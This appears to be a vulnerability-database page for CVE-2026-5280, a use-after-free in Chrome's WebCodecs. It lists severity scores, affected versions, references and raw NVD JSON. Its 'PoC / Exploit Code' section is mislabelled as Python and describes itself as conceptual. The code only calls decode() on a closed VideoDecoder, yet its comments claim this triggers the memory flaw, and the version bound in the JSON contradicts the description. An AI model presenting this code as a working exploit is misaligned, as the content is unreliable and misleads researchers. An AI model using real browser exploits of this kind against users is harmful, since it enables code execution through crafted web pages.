CVE-2026-5280

Description

Use after free in WebCodecs in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.178

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-5280 (Conceptual)
  This code demonstrates the logic to trigger a Use-After-Free in WebCodecs.
  Note: Actual exploitation requires specific heap grooming and ROP chains.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5280 PoC</title>
</head>
<body>
    <script>
        // Step 1: Create a VideoDecoder object
        const videoDecoder = new VideoDecoder({
            output: (frame) => { console.log('Frame output'); },
            error: (e) => { console.error('Decoder error:', e); }
        });

        // Step 2: Configure the decoder to initialize internal objects
        const config = {
            codec: 'vp09.00.10.08',
            codedWidth: 640,
            codedHeight: 480
        };
        videoDecoder.configure(config);

        // Step 3: Trigger the UAF vulnerability
        // Simulate a scenario where the decoder is closed but a reference remains
        try {
            videoDecoder.close(); // Release memory
            // Attacker attempts to use the freed object via a dangling reference in a callback
            setTimeout(() => {
                // Malicious operation on freed memory
                videoDecoder.decode(new EncodedVideoChunk({
                    type: 'key',
                    timestamp: 0,
                    data: new Uint8Array([0x00, 0x00, 0x01, 0x00]) // Dummy data
                }));
            }, 100);
        } catch (e) {
            console.log('Exception occurred as expected in UAF trigger');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5280
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5280
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5280/
[4] VulDB https://vuldb.com/cve/CVE-2026-5280
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html
[6] https://issues.chromium.org/issues/491515787

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5280", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:01.310", "lastModified": "2026-04-02T00:16:24.620", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in WebCodecs in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/491515787", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}